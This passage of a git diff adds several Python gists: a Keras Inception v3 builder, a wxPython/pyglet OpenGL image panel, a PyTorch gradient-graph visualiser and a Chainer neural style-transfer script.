+    conv_2 = BNConv(32, 3, 3, w_decay, border_mode="valid")(conv_1)
+    conv_3 = BNConv(64, 3, 3, w_decay)(conv_2)
+    pool_4 = MaxPooling2D(pool_size=(3, 3), strides=(2, 2), border_mode="valid")(conv_3)
+
+    conv_5 = BNConv(80, 1, 1, w_decay)(pool_4)
+    conv_6 = BNConv(192, 3, 3, w_decay, border_mode="valid")(conv_5)
+    pool_7 = MaxPooling2D(pool_size=(3, 3), strides=(2, 2), border_mode="valid")(conv_6)
+
+    inception_8 = InceptionFig5(w_decay)(pool_7)
+    inception_9 = InceptionFig5(w_decay)(inception_8)
+    inception_10 = InceptionFig5(w_decay)(inception_9)
+
+    inception_11 = DimReductionA(w_decay)(inception_10)
+
+    inception_12 = InceptionFig6(w_decay)(inception_11)
+    inception_13 = InceptionFig6(w_decay)(inception_12)
+    inception_14 = InceptionFig6(w_decay)(inception_13)
+    inception_15 = InceptionFig6(w_decay)(inception_14)
+    inception_16 = InceptionFig6(w_decay)(inception_15)
+
+    inception_17 = DimReductionB(w_decay)(inception_16)
+
+    inception_18 = InceptionFig7(w_decay)(inception_17)
+    inception_19 = InceptionFig7(w_decay)(inception_18)
+
+    pool_20 = Lambda(lambda x: K.mean(x, axis=(2, 3)), output_shape=(2048, ))(inception_19)
+
+    model = Model(input, pool_20)
+
+    return model
+
+
+def InceptionFig5(w_decay):
+    def f(input):
+
+        # Tower A
+        conv_a1 = BNConv(64, 1, 1, w_decay)(input)
+        conv_a2 = BNConv(96, 3, 3, w_decay)(conv_a1)
+        conv_a3 = BNConv(96, 3, 3, w_decay)(conv_a2)
+
+        # Tower B
+        conv_b1 = BNConv(48, 1, 1, w_decay)(input)
+        conv_b2 = BNConv(64, 3, 3, w_decay)(conv_b1)
+
+        # Tower C
+        pool_c1 = AveragePooling2D(pool_size=(3, 3), strides=(1, 1), border_mode="same")(input)
+        conv_c2 = BNConv(64, 1, 1, w_decay)(pool_c1)
+
+        # Tower D
+        conv_d1 = BNConv(64, 1, 1, w_decay)(input)
+
+        return merge([conv_a3, conv_b2, conv_c2, conv_d1], mode='concat', concat_axis=1)
+
+    return f
+
+
+def InceptionFig6(w_decay):
+    def f(input):
+        conv_a1 = BNConv(128, 1, 1, w_decay)(input)
+        conv_a2 = BNConv(128, 1, 7, w_decay)(conv_a1)
+        conv_a3 = BNConv(128, 7, 1, w_decay)(conv_a2)
+        conv_a4 = BNConv(128, 1, 7, w_decay)(conv_a3)
+        conv_a5 = BNConv(192, 7, 1, w_decay)(conv_a4)
+
+        # Tower B
+        conv_b1 = BNConv(128, 1, 1, w_decay)(input)
+        conv_b2 = BNConv(128, 1, 7, w_decay)(conv_b1)
+        conv_b3 = BNConv(192, 7, 1, w_decay)(conv_b2)
+
+        # Tower C
+        pool_c1 = AveragePooling2D(pool_size=(3, 3), strides=(1, 1), border_mode="same")(input)
+        conv_c2 = BNConv(192, 1, 1, w_decay)(pool_c1)
+
+        # Tower D
+        conv_d = BNConv(192, 1, 1, w_decay)(input)
+
+        return merge([conv_a5, conv_b3, conv_c2, conv_d], mode="concat", concat_axis=1)
+
+    return f
+
+
+def InceptionFig7(w_decay):
+    def f(input):
+        # Tower A
+        conv_a1 = BNConv(448, 1, 1, w_decay)(input)
+        conv_a2 = BNConv(384, 3, 3, w_decay)(conv_a1)
+        conv_a3 = BNConv(384, 1, 3, w_decay)(conv_a2)
+        conv_a4 = BNConv(384, 3, 1, w_decay)(conv_a3)
+
+        # Tower B
+        conv_b1 = BNConv(384, 1, 1, w_decay)(input)
+        conv_b2 = BNConv(384, 1, 3, w_decay)(conv_b1)
+        conv_b3 = BNConv(384, 3, 1, w_decay)(conv_b2)
+
+        # Tower C
+        pool_c1 = AveragePooling2D(pool_size=(3, 3), strides=(1, 1), border_mode="same")(input)
+        conv_c2 = BNConv(192, 1, 1, w_decay)(pool_c1)
+
+        # Tower D
+        conv_d = BNConv(320, 1, 1, w_decay)(input)
+
+        return merge([conv_a4, conv_b3, conv_c2, conv_d], mode="concat", concat_axis=1)
+
+    return f
+
+
+def DimReductionA(w_decay):
+    def f(input):
+        conv_a1 = BNConv(64, 1, 1, w_decay)(input)
+        conv_a2 = BNConv(96, 3, 3, w_decay)(conv_a1)
+        conv_a3 = BNConv(96, 3, 3, w_decay, subsample=(2, 2), border_mode="valid")(conv_a2)
+
+        # another inconsistency between model.txt and the paper
+        # the Fig 10 in the paper shows a 1x1 convolution before
+        # the 3x3. Going with model.txt
+        conv_b = BNConv(384, 3, 3, w_decay, subsample=(2, 2), border_mode="valid")(input)
+
+        pool_c = MaxPooling2D(pool_size=(3, 3), strides=(2, 2), border_mode="valid")(input)
+
+        return merge([conv_a3, conv_b, pool_c], mode="concat", concat_axis=1)
+    return f
+
+
+def DimReductionB(w_decay):
+    def f(input):
+        # Tower A
+        conv_a1 = BNConv(192, 1, 1, w_decay)(input)
+        conv_a2 = BNConv(320, 3, 3, w_decay, subsample=(2, 2), border_mode="valid")(conv_a1)
+
+        # Tower B
+        conv_b1 = BNConv(192, 1, 1, w_decay)(input)
+        conv_b2 = BNConv(192, 1, 7, w_decay)(conv_b1)
+        conv_b3 = BNConv(192, 7, 1, w_decay)(conv_b2)
+        conv_b4 = BNConv(192, 3, 3, w_decay, subsample=(2, 2), border_mode="valid")(conv_b3)
+
+        # Tower C
+        pool_c = MaxPooling2D(pool_size=(3, 3), strides=(2, 2), border_mode="valid")(input)
+
+        return merge([conv_a2, conv_b4, pool_c], mode="concat", concat_axis=1)
+    return f
+
+
+def main():
+    import time
+    start = time.time()
+    model = inception_v3()
+    duration = time.time() - start
+    print "{} s to make model".format(duration)
+    start = time.time()
+    model.output
+    duration = time.time() - start
+    print "{} s to get output".format(duration)
+    start = time.time()
+    model.compile(loss="categorical_crossentropy", optimizer="sgd")
+    # model.compile(loss={"distance": "binary_crossentropy"}, optimizer="sgd")
+    duration = time.time() - start
+    print "{} s to get compile".format(duration)
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/f8c9df05a65d311aa6ec/._snippet.py b/hard-gists/f8c9df05a65d311aa6ec/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f8c9df05a65d311aa6ec/._snippet.py differ
diff --git a/hard-gists/f8c9df05a65d311aa6ec/snippet.py b/hard-gists/f8c9df05a65d311aa6ec/snippet.py
new file mode 100644
index 00000000..cd55ab1c
--- /dev/null
+++ b/hard-gists/f8c9df05a65d311aa6ec/snippet.py
@@ -0,0 +1,459 @@
+import wx
+from wx import glcanvas
+import pyglet
+
+# this line is very important, we're tricking pyglet into thinking there is a context avalible
+# but we can't make it work with the shadow window that alows sharing of
+# object between contexts
+pyglet.options['shadow_window'] = False
+
+# now that that is set we can import gl and get on our way
+from pyglet import gl
+
+
+class PygletGLPanel(wx.Panel):
+
+    '''A simple class for using pyglet OpenGL with wxPython.'''
+
+    def __init__(self, parent, id, pos=wx.DefaultPosition,
+                 size=wx.DefaultSize, style=0):
+        # Forcing a no full repaint to stop flickering
+        style = style | wx.NO_FULL_REPAINT_ON_RESIZE
+        self.FIRST_PAINT = False
+        # call super function
+        super(PygletGLPanel, self).__init__(parent, id, pos, size, style)
+        # init gl canvas data
+        self.GLinitialized = False
+        attribList = (glcanvas.WX_GL_RGBA,  # RGBA
+                      glcanvas.WX_GL_DOUBLEBUFFER,  # Double Buffered
+                      glcanvas.WX_GL_DEPTH_SIZE, 24)  # 24 bit
+        # Create the canvas
+        self.sizer = wx.BoxSizer(wx.HORIZONTAL)
+        self.canvas = glcanvas.GLCanvas(self, attribList=attribList)
+        if wx.VERSION >= (2, 9):
+            self.context = glcanvas.GLContext(self.canvas)
+        self.sizer.Add(self.canvas, 1, wx.EXPAND)
+        self.SetSizer(self.sizer)
+        self.Layout()
+        # bind events
+        self.canvas.Bind(
+            wx.EVT_ERASE_BACKGROUND, self.processEraseBackgroundEvent)
+        self.canvas.Bind(wx.EVT_SIZE, self.processSizeEvent)
+        self.canvas.Bind(wx.EVT_PAINT, self.processPaintEvent)
+
+    #==========================================================================
+    # Canvas Proxy Methods
+    #==========================================================================
+
+    def GetGLExtents(self):
+        '''Get the extents of the OpenGL canvas.'''
+        return self.canvas.GetClientSize()
+
+    def SwapBuffers(self):
+        '''Swap the OpenGL buffers.'''
+        self.canvas.SwapBuffers()
+
+    #==========================================================================
+    # wxPython Window Handlers
+    #==========================================================================
+
+    def processEraseBackgroundEvent(self, event):
+        '''Process the erase background event.'''
+        pass  # Do nothing, to avoid flashing on MSWin
+
+    def processSizeEvent(self, event):
+        '''Process the resize event.'''
+
+        if wx.VERSION >= (2, 9):
+            wx.CallAfter(self.doSetViewport)
+        else:
+            self.doSetViewport()
+        event.Skip()
+
+    def doSetViewport(self):
+        if wx.VERSION >= (2, 9):
+            self.Show()
+            self.PrepareGL()
+            # Make sure the frame is shown before calling SetCurrent.
+            self.canvas.SetCurrent(self.context)
+            size = self.GetGLExtents()
+            self.winsize = (size.width, size.height)
+            self.width, self.height = size.width, size.height
+            if self.width < 0:
+                self.width = 1
+            if self.height < 0:
+                self.height = 1
+            self.OnReshape(size.width, size.height)
+            self.canvas.Refresh(False)
+        else:
+            if self.canvas.GetContext():
+                # Make sure the frame is shown before calling SetCurrent.
+                self.Show()
+                self.PrepareGL()
+                self.canvas.SetCurrent()
+                size = self.GetGLExtents()
+                self.winsize = (size.width, size.height)
+                self.width, self.height = size.width, size.height
+                if self.width < 0:
+                    self.width = 1
+                if self.height < 0:
+                    self.height = 1
+                self.OnReshape(size.width, size.height)
+                self.canvas.Refresh(False)
+
+    def PrepareGL(self):
+        if wx.VERSION >= (2, 9):
+            self.canvas.SetCurrent(self.context)
+        else:
+            self.canvas.SetCurrent()
+
+        # initialize OpenGL only if we need to
+        if not self.GLinitialized:
+            self.OnInitGL()
+            self.GLinitialized = True
+            size = self.GetGLExtents()
+            self.OnReshape(size.width, size.height)
+
+        self.pygletcontext.set_current()
+
+    def processPaintEvent(self, event):
+        '''Process the drawing event.'''
+        if not self.FIRST_PAINT:
+            self.FIRST_PAINT = True
+        self.PrepareGL()
+        self.OnDraw()
+        event.Skip()
+
+    def Destroy(self):
+        # clean up the pyglet OpenGL context
+        self.pygletcontext.destroy()
+        # call the super metho
+        super(wx.Panel, self).Destroy()
+
+    #==========================================================================f
+    # GLFrame OpenGL Event Handlers
+    #==========================================================================
+
+    def OnInitGL(self):
+        '''Initialize OpenGL for use in the window.'''
+        # create a pyglet context for this panel
+        #self.pygletcontext = gl.Context(gl.current_context)
+        if pyglet.version > "1.1.4":
+            self.pygletcontext = PygletWXContext()
+        else:
+            self.pygletcontext = gl.Context()
+        self.pygletcontext.set_current()
+        # normal gl init
+        gl.glEnable(gl.GL_BLEND)
+        gl.glBlendFunc(gl.GL_SRC_ALPHA, gl.GL_ONE_MINUS_SRC_ALPHA)
+        gl.glEnable(gl.GL_TEXTURE_2D)
+        gl.glClearColor(1, 1, 1, 1)
+
+        # create objects to draw
+        self.create_objects()
+
+    def OnReshape(self, width, height):
+        '''Reshape the OpenGL viewport based on the dimensions of the window.'''
+        # CORRECT WIDTH AND HEIGHT
+        if width <= 0:
+            width = 1
+        if height <= 0:
+            height = 1
+        if self.GLinitialized:
+            self.pygletcontext.set_current()
+        gl.glViewport(0, 0, width, height)
+        gl.glMatrixMode(gl.GL_PROJECTION)
+        gl.glLoadIdentity()
+        gl.glOrtho(0, width, 0, height, 1, -1)
+        gl.glMatrixMode(gl.GL_MODELVIEW)
+        if self.GLinitialized:
+            self.update_object_resize(width, height)
+
+    def OnDraw(self, *args, **kwargs):
+        "Draw the window."
+        # clear the context
+        gl.glClear(gl.GL_COLOR_BUFFER_BIT | gl.GL_DEPTH_BUFFER_BIT)
+        # draw objects
+        self.draw_objects()
+        # update screen
+        self.SwapBuffers()
+
+    #==========================================================================
+    # To be implemented by a sub class
+    #==========================================================================
+
+    def create_objects(self):
+        '''create opengl objects when opengl is initialized'''
+        pass
+
+    def update_object_resize(self, width, height):
+        '''called when the window receives only if opengl is initialized'''
+        pass
+
+    def draw_objects(self):
+        '''called in the middle of ondraw after the buffer has been cleared'''
+        pass
+
+
+class PygletWXContext(gl.Context):
+
+    def __init__(self, config=None, context_share=None):
+        self.config = config
+        self.context_share = context_share
+        self.canvas = None
+
+        if context_share:
+            self.object_space = context_share.object_space
+        else:
+            self.object_space = gl.ObjectSpace()
+
+    def attach(self, canvas=None):
+        pass
+
+    def detach(self):
+        pass
+
+    def set_current(self):
+        # XXX not per-thread
+        gl.current_context = self
+
+        # XXX
+        gl.gl_info.set_active_context()
+        gl.glu_info.set_active_context()
+
+        # Implement workarounds
+        if not self._info:
+            self._info = gl.gl_info.GLInfo()
+            self._info.set_active_context()
+            for attr, check in self._workaround_checks:
+                setattr(self, attr, check(self._info))
+
+        # Release textures and buffers on this context scheduled for deletion.
+        # Note that the garbage collector may introduce a race condition,
+        # so operate on a copy of the textures/buffers and remove the deleted
+        # items using list slicing (which is an atomic operation)
+        if self.object_space._doomed_textures:
+            textures = self.object_space._doomed_textures[:]
+            textures = (gl.GLuint * len(textures))(*textures)
+            gl.glDeleteTextures(len(textures), textures)
+            self.object_space._doomed_textures[0:len(textures)] = []
+        if self.object_space._doomed_buffers:
+            buffers = self.object_space._doomed_buffers[:]
+            buffers = (gl.GLuint * len(buffers))(*buffers)
+            gl.glDeleteBuffers(len(buffers), buffers)
+            self.object_space._doomed_buffers[0:len(buffers)] = []
+
+#-------------------------------------------------------------------------
+# EditorGLPanel
+#-------------------------------------------------------------------------
+
+
+class EditorGLPanel(PygletGLPanel):
+
+    def __init__(self, parent, id=wx.ID_ANY, rows=1, columns=1, coord=(0, 0), drawmode=1):
+        """Basic constructor for the wxGLCanvas
+
+        Arguments:
+        parent -- The wxWindow instance to set as this panel's parent
+        id -- The ID of the panel
+        rows -- The number of horizontal rows used for tiles
+        columns -- The number of vertical columns used for tiles
+        coord -- The coordinate of the tile that the image will draw from the source
+        drawmode -- An integer to decide what drawing mode will be used.
+            0: CropAndShrink -- Images will be both scaled down and cropped to fit
+            1: Shrink -- Scales image down if too large, else the image is simply centered
+            2: StretchAspect -- The image will be stretched to fill panel while maintaining aspect ratio
+            3: Cropped -- Oversized images too large for the panel will simply be cropped
+            4: Stretch -- The entire image is stretched, and aspect ratio is ignored
+            5: TopLeft -- Image is anchored to top left corner and cropped
+        Returns:
+        None
+
+        """
+        super(EditorGLPanel, self).__init__(parent, id)
+        self._rows = rows
+        self._columns = columns
+        self._coord = coord
+        self._drawmode = drawmode
+        self._image = None
+        self.draw_objects()
+        self._contextMenu = None
+        self.canvas.Bind(wx.EVT_RIGHT_DOWN, self.canvas_RightClicked)
+
+    def SetRows(self, rows):
+        if rows < 1:
+            rows = 1
+        self._rows = rows
+
+    def SetColumns(self, columns):
+        if columns < 1:
+            columns = 1
+        self._columns = columns
+
+    def canvas_RightClicked(self, event):
+        """Creates the context menu if necessary, then displays it"""
+        if self._contextMenu is None:
+            self._createContextMenu()
+        self._contextMenu.Check(self._drawmode, True)
+        self.canvas.PopupMenu(self._contextMenu, event.GetPosition())
+
+    def menuItem_SelectionChanged(self, event):
+        """updates the draw mode"""
+        self.SetDrawMode(event.GetId())
+
+    def _createContextMenu(self):
+        """Creates the context menu on demand"""
+        self._contextMenu = wx.Menu()
+        self.menuItemCropAndShrink = wx.MenuItem(
+            self._contextMenu, 0, "Crop and Shrink", "Oversized images will be scaled and cropped evenly", wx.ITEM_RADIO)
+        self._contextMenu.AppendItem(self.menuItemCropAndShrink)
+        self.menuItemCropAndShrink.Check(True)
+        self.menuItemShrink = wx.MenuItem(
+            self._contextMenu, 1, "Shrink", "Oversized images will scale to the windows size while maintaining aspect ratio", wx.ITEM_RADIO)
+        self._contextMenu.AppendItem(self.menuItemShrink)
+        self.menuItemStretchAspect = wx.MenuItem(
+            self._contextMenu, 2, "Stretch Aspect", "Images will expand to fill the window while maintaining aspect ratio", wx.ITEM_RADIO)
+        self._contextMenu.AppendItem(self.menuItemStretchAspect)
+        self.menuItemCrop = wx.MenuItem(
+            self._contextMenu, 3, "Crop", "Image will be cropped to the window's size", wx.ITEM_RADIO)
+        self._contextMenu.AppendItem(self.menuItemCrop)
+        self.menuItemStretch = wx.MenuItem(
+            self._contextMenu, 4, "Stretch", "Image will be stretched to fill the window and ignore the aspect ratio", wx.ITEM_RADIO)
+        self._contextMenu.AppendItem(self.menuItemStretch)
+        self.menuItemNone = wx.MenuItem(
+            self._contextMenu, 5, "None", "No resizing, cropping, or centering will be performed", wx.ITEM_RADIO)
+        self._contextMenu.AppendItem(self.menuItemNone)
+        self.Bind(wx.EVT_MENU, self.menuItem_SelectionChanged,
+                  id=self.menuItemCropAndShrink.GetId())
+        self.Bind(wx.EVT_MENU, self.menuItem_SelectionChanged,
+                  id=self.menuItemShrink.GetId())
+        self.Bind(wx.EVT_MENU, self.menuItem_SelectionChanged,
+                  id=self.menuItemStretchAspect.GetId())
+        self.Bind(wx.EVT_MENU, self.menuItem_SelectionChanged,
+                  id=self.menuItemCrop.GetId())
+        self.Bind(wx.EVT_MENU, self.menuItem_SelectionChanged,
+                  id=self.menuItemStretch.GetId())
+        self.Bind(wx.EVT_MENU, self.menuItem_SelectionChanged,
+                  id=self.menuItemNone.GetId())
+
+    def ChangeImage(self, pilImage):
+        """Changes the displayed image"""
+        self._image = pilImage
+        del (pilImage)
+        if self.FIRST_PAINT:
+            self.PrepareGL()
+            self.OnDraw()
+
+    def GetDrawMode(self):
+        """Returns the integer value that represents the current drawing mode"""
+        return self._drawmode
+
+    def SetDrawMode(self, drawmode):
+        """Sets the drawing mode and refreshes the display"""
+        self._drawmode = drawmode
+        if self.FIRST_PAINT:
+            self.PrepareGL()
+            self.OnDraw()
+
+    def draw_objects(self):
+        """Draws the objects on the canvas"""
+        if not self.GLinitialized:
+            return
+
+        # clear the screen
+        gl.glClearColor(0.93, 0.93, 0.93, 1)
+        gl.glClear(gl.GL_COLOR_BUFFER_BIT | gl.GL_DEPTH_BUFFER_BIT)
+
+        if self._image is None:
+            return
+        # Convert PIL image to pyglet image
+        srcImage = pyglet.image.create(*self._image.size).get_image_data()
+        pitch = -len('RGBA') * srcImage.width
+        data = self._image.tostring()
+        srcImage.set_data('RGBA', pitch, data)
+        # Clear the canvas and calculate the region to draw
+        tile_width = srcImage.width // self._rows
+        tile_height = srcImage.height // self._columns
+        x = self._coord[0] * tile_width
+        y = self._coord[1] * tile_height
+        y = srcImage.height - y - tile_height
+        subimage = srcImage.get_region(x, y, tile_width, tile_height)
+        subimage.align_x = subimage.align_y = 0
+        # Branch by what mode is selected to draw
+        if self._drawmode == 0:
+            self.CropAndShrink(subimage)
+        elif self._drawmode == 1:
+            self.Shrink(subimage)
+        elif self._drawmode == 2:
+            self.StretchAspect(subimage)
+        elif self._drawmode == 3:
+            self.Cropped(subimage)
+        elif self._drawmode == 4:
+            self.Stretch(subimage)
+        else:
+            self.TopLeft(subimage)
+        del (srcImage)
+
+    #---------------------------------------------------------------
+    # Draw Modes
+    #---------------------------------------------------------------
+    def CropAndShrink(self, pygletimage):
+        """Images will be both scaled down and cropped to fit"""
+        width, height = self.GetClientSize()
+        w, h = pygletimage.width, pygletimage.height
+        x, y, = (width - w) // 2, (height - h) // 2
+        if width < w or height < h:
+            diff_w = (w - width) // 2
+            diff_h = (h - height) // 2
+            pygletimage.blit(x // 2, y // 2, 0, w - diff_w, h - diff_h)
+        else:
+            pygletimage.blit(x, y, 0, w, h)
+        del (pygletimage)
+
+    def Shrink(self, pygletimage):
+        """Scales image down if too large, else the image is simply centered"""
+        width, height = self.GetClientSize()
+        w, h = pygletimage.width, pygletimage.height
+        x, y, = (width - w) // 2, (height - h) // 2
+        if width < w or height < h:
+            self.StretchAspect(pygletimage)
+        else:
+            pygletimage.blit(x, y, 0, w, h)
+        del (pygletimage)
+
+    def StretchAspect(self, pygletimage):
+        """The image will be stretched to fill panel while maintaining aspect ratio"""
+        width, height = self.GetClientSize()
+        w, h = pygletimage.width, pygletimage.height
+        x_ratio = float(width) / w
+        y_ratio = float(height) / h
+        if y_ratio > x_ratio:
+            ch = h * x_ratio
+            pygletimage.blit(0, (height - ch) // 2, 0, width, ch)
+        else:
+            cw = w * y_ratio
+            pygletimage.blit((width - cw) // 2, 0, 0, cw, height)
+        del (pygletimage)
+
+    def Cropped(self, pygletimage):
+        """Oversized images too large for the panel will simply be cropped"""
+        width, height = self.GetClientSize()
+        w, h = pygletimage.width, pygletimage.height
+        x, y = (width - w) // 2, (height - h) // 2
+        if w > width:
+            x = (width - w) // 2
+        if h > height:
+            y = (height - h) // 2
+        pygletimage.blit(x, y, 0, w, h)
+        del (pygletimage)
+
+    def Stretch(self, pygletimage):
+        """The entire image is stretched, and aspect ratio is ignored"""
+        width, height = self.GetClientSize()
+        pygletimage.blit(0, 0, 0, width, height)
+
+    def TopLeft(self, pygletimage):
+        """Image is anchored to top left corner and cropped"""
+        y = self.GetClientSize()[1] - pygletimage.height
+        pygletimage.blit(0, y, 0, pygletimage.width, pygletimage.height)
+        del (pygletimage)
diff --git a/hard-gists/f93a377244be9bfcb96d3547b9bc424d/._snippet.py b/hard-gists/f93a377244be9bfcb96d3547b9bc424d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f93a377244be9bfcb96d3547b9bc424d/._snippet.py differ
diff --git a/hard-gists/f93a377244be9bfcb96d3547b9bc424d/snippet.py b/hard-gists/f93a377244be9bfcb96d3547b9bc424d/snippet.py
new file mode 100644
index 00000000..608965ea
--- /dev/null
+++ b/hard-gists/f93a377244be9bfcb96d3547b9bc424d/snippet.py
@@ -0,0 +1,72 @@
+from graphviz import Digraph
+import torch
+from torch.autograd import Variable, Function
+
+def iter_graph(root, callback):
+    queue = [root]
+    seen = set()
+    while queue:
+        fn = queue.pop()
+        if fn in seen:
+            continue
+        seen.add(fn)
+        for next_fn, _ in fn.next_functions:
+            if next_fn is not None:
+                queue.append(next_fn)
+        callback(fn)
+
+def register_hooks(var):
+    fn_dict = {}
+    def hook_cb(fn):
+        def register_grad(grad_input, grad_output):
+            fn_dict[fn] = grad_input
+        fn.register_hook(register_grad)
+    iter_graph(var.grad_fn, hook_cb)
+
+    def is_bad_grad(grad_output):
+        grad_output = grad_output.data
+        return grad_output.ne(grad_output).any() or grad_output.gt(1e6).any()
+
+    def make_dot():
+        node_attr = dict(style='filled',
+                        shape='box',
+                        align='left',
+                        fontsize='12',
+                        ranksep='0.1',
+                        height='0.2')
+        dot = Digraph(node_attr=node_attr, graph_attr=dict(size="12,12"))
+
+        def size_to_str(size):
+            return '('+(', ').join(map(str, size))+')'
+
+        def build_graph(fn):
+            if hasattr(fn, 'variable'):  # if GradAccumulator
+                u = fn.variable
+                node_name = 'Variable\n ' + size_to_str(u.size())
+                dot.node(str(id(u)), node_name, fillcolor='lightblue')
+            else:
+                assert fn in fn_dict, fn
+                fillcolor = 'white'
+                if any(is_bad_grad(gi) for gi in fn_dict[fn]):
+                    fillcolor = 'red'
+                dot.node(str(id(fn)), str(type(fn).__name__), fillcolor=fillcolor)
+            for next_fn, _ in fn.next_functions:
+                if next_fn is not None:
+                    next_id = id(getattr(next_fn, 'variable', next_fn))
+                    dot.edge(str(next_id), str(id(fn)))
+        iter_graph(var.grad_fn, build_graph)
+
+        return dot
+
+    return make_dot
+
+if __name__ == '__main__':
+    x = Variable(torch.randn(10, 10), requires_grad=True)
+    y = Variable(torch.randn(10, 10), requires_grad=True)
+
+    z = x / (y * 0)
+    z = z.sum() * 2
+    get_dot = register_hooks(z)
+    z.backward()
+    dot = get_dot()
+    dot.save('tmp.dot')
diff --git a/hard-gists/f940f98fbbac84d35e8d/._snippet.py b/hard-gists/f940f98fbbac84d35e8d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f940f98fbbac84d35e8d/._snippet.py differ
diff --git a/hard-gists/f940f98fbbac84d35e8d/snippet.py b/hard-gists/f940f98fbbac84d35e8d/snippet.py
new file mode 100644
index 00000000..e77aa9fc
--- /dev/null
+++ b/hard-gists/f940f98fbbac84d35e8d/snippet.py
@@ -0,0 +1,127 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+# this is a quick implementation of http://arxiv.org/abs/1508.06576
+# BUT! This is kind of dirty. Lots of hard coding.　
+
+import numpy as np
+import math
+from chainer import cuda, Function, FunctionSet, gradient_check, Variable, optimizers
+import chainer.functions as Fu
+from chainer.functions import caffe
+import chainer
+
+import matplotlib.pyplot as plt
+from scipy.misc import imread, imresize, imsave
+
+def readimage(filename):
+    img = imread(filename)
+    img = imresize(img,[224, 224])
+    img = np.transpose(img,(2,0,1))
+    img = img.reshape((1,3,224,224))
+    p_data = np.ascontiguousarray(img,dtype=np.float32)
+    p = Variable(cuda.to_gpu(p_data))
+    return p
+
+def reshape2(conv1_1):
+    k=conv1_1.data.shape[1]
+    pixels=conv1_1.data.shape[2]*conv1_1.data.shape[3]
+    return chainer.functions.reshape(conv1_1,(k,pixels))
+
+# save the image x
+def save_x(img,filename="output.png"):
+    img = img.reshape((3,224,224))
+    img = np.transpose(img,(1,2,0))
+    imsave(filename,img)
+
+def forward(x, p, a):
+    conv1_1, conv2_1, conv3_1, conv4_1,conv5_1, = func(inputs={'data': x}, outputs=['conv1_1', 'conv2_1', 'conv3_1', 'conv4_1', 'conv5_1'])
+    conv1_1F,conv2_1F, conv3_1F, conv4_1F,conv5_1F, = [ reshape2(x) for x in [conv1_1,conv2_1, conv3_1, conv4_1,conv5_1]]
+    conv1_1G,conv2_1G, conv3_1G, conv4_1G,conv5_1G, = [ Fu.matmul(x, x, transa=False, transb=True) for x in [conv1_1F,conv2_1F, conv3_1F, conv4_1F,conv5_1F]]
+#
+    conv1_1,conv2_1, conv3_1, conv4_1,conv5_1, = func(inputs={'data': p}, outputs=['conv1_1', 'conv2_1', 'conv3_1', 'conv4_1', 'conv5_1'])
+    conv1_1P,conv2_1P, conv3_1P, conv4_1P,conv5_1P, = [ reshape2(x) for x in [conv1_1,conv2_1, conv3_1, conv4_1,conv5_1]]
+#
+    L_content = Fu.mean_squared_error(conv4_1F,conv4_1P)/2
+#
+    conv1_1,conv2_1, conv3_1, conv4_1,conv5_1, = func(inputs={'data': a}, outputs=['conv1_1', 'conv2_1', 'conv3_1', 'conv4_1', 'conv5_1'])
+    conv1_1A0,conv2_1A0, conv3_1A0, conv4_1A0,conv5_1A0, = [ reshape2(x) for x in [conv1_1,conv2_1, conv3_1, conv4_1,conv5_1]]
+    conv1_1A,conv2_1A, conv3_1A, conv4_1A,conv5_1A, = [ Fu.matmul(x, x, transa=False, transb=True) for x in [conv1_1A0,conv2_1A0, conv3_1A0, conv4_1A0,conv5_1A0]]
+#
+    #caution! the deviding number is hard coding!
+    #this part is correspnding to equation (4) in the original paper
+    #to check the current N and M, run the following
+    #[x.data.shape  for x in [conv1_1F,conv2_1F, conv3_1F, conv4_1F,conv5_1F]]
+    L_style = (Fu.mean_squared_error(conv1_1G,conv1_1A)/(4*64*64*50176*50176)
+    + Fu.mean_squared_error(conv2_1G,conv2_1A)/(4*128**128*12544*12544)
+    + Fu.mean_squared_error(conv3_1G,conv3_1A)/(4*256*256*3136*3136)
+    + Fu.mean_squared_error(conv4_1G,conv4_1A)/(4*512*512*784*784)\
+    )/4 # this is equal weighting of E_l
+#
+    ratio = 0.001 #alpha/beta 
+    loss = ratio*L_content + L_style
+    return loss 
+
+#main
+
+cuda.init(3)# is GPU ID!!
+
+p=readimage('satoshi_fb.png')#read a content image
+a=readimage('style.png')#read a style image
+
+#download a pretraind caffe model from here: https://gist.github.com/ksimonyan/3785162f95cd2d5fee77#file-readme-md
+func = caffe.CaffeFunction('VGG_ILSVRC_19_layers.caffemodel')#it takes some time.
+func.to_gpu()
+
+x_data=np.random.randn(1,3,224,224).astype(np.float32)
+x = Variable(cuda.to_gpu(x_data))
+
+x = readimage('imge230.png') # if you want to start from a exsiting image
+
+savedir="satoshi_fb_adam"
+
+#optimize x(=image) with adam
+#note we use numpy for optimization
+
+alpha=1
+beta1=0.9
+beta2=0.999
+eps=1e-8
+
+v=np.zeros_like(cuda.to_cpu(x.data))
+m=np.zeros_like(v)
+
+for epoch in xrange(10000):
+    t=0
+    loss=forward(x,p,a)
+    loss.backward()
+    grad_cuda=x.grad.copy()
+    grad=cuda.to_cpu(grad_cuda)
+    t +=1
+    m =  beta1*m + (1-beta1)*grad
+    v =  beta2*v + (1-beta2)*(grad*grad)
+    m_hat=m/(1-np.power(beta1,t))
+    v_hat=v/(1-np.power(beta2, t))
+    x.data -= cuda.to_gpu( alpha * m_hat / (np.sqrt(v_hat) + eps) )#back it to cuda
+    
+    with open(savedir+"/log.txt", "a") as f:
+        f.write(str(epoch)+','+str(loss.data)+','+str(np.linalg.norm(grad.data))+'\n')
+    savename = savedir+'/imge'+str(epoch)+'.png'
+    save_x(cuda.to_cpu(x.data),savename)
+
+# #optimize x(=image) with momment
+# momentum= 0.9
+# lr=100
+# v=np.zeros_like(x.data)
+# for epoch in xrange(10000):
+#     loss=forward(x,p,a)
+#     loss.backward()
+#     grad=x.grad.copy()
+#     v *= momentum
+#     v -= lr * grad
+#     x.data += v
+    
+#     with open(savedir+"/log.txt", "a") as f:
+#         f.write(str(epoch+315)+','+str(loss.data)+','+str(np.linalg.norm(x.grad))+'\n')
+#     savename = savedir+'/imge'+str(epoch+315)+'.png'
+#     save_x(x.data,savename)
\ No newline at end of file
diff --git a/hard-gists/f97205b73610dd30254652e7817f99cb/._snippet.py b/hard-gists/f97205b73610dd30254652e7817f99cb/._snippet.py
new file mode 100644
index 00000000..cd8af967
